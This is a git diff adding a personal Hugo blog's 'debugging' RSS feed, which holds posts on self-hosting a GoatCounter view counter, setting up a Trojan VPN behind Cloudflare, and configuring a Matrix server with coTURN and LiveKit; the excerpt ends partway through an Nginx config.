    \ No newline at end of file diff --git a/public-clearnet/tags/debugging/index.xml b/public-clearnet/tags/debugging/index.xml new file mode 100644 index 0000000..1d78b4b --- /dev/null +++ b/public-clearnet/tags/debugging/index.xml @@ -0,0 +1,861 @@ +Debugging on AlipourIm journeyshttps://blog.alipour.eu/tags/debugging/Recent content in Debugging on AlipourIm journeysHugo -- 0.146.0enSat, 18 Oct 2025 10:45:00 +0000A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)https://blog.alipour.eu/posts/papermod-views-debugging-story/Sat, 18 Oct 2025 10:45:00 +0000https://blog.alipour.eu/posts/papermod-views-debugging-story/I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)https://blog.alipour.eu/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
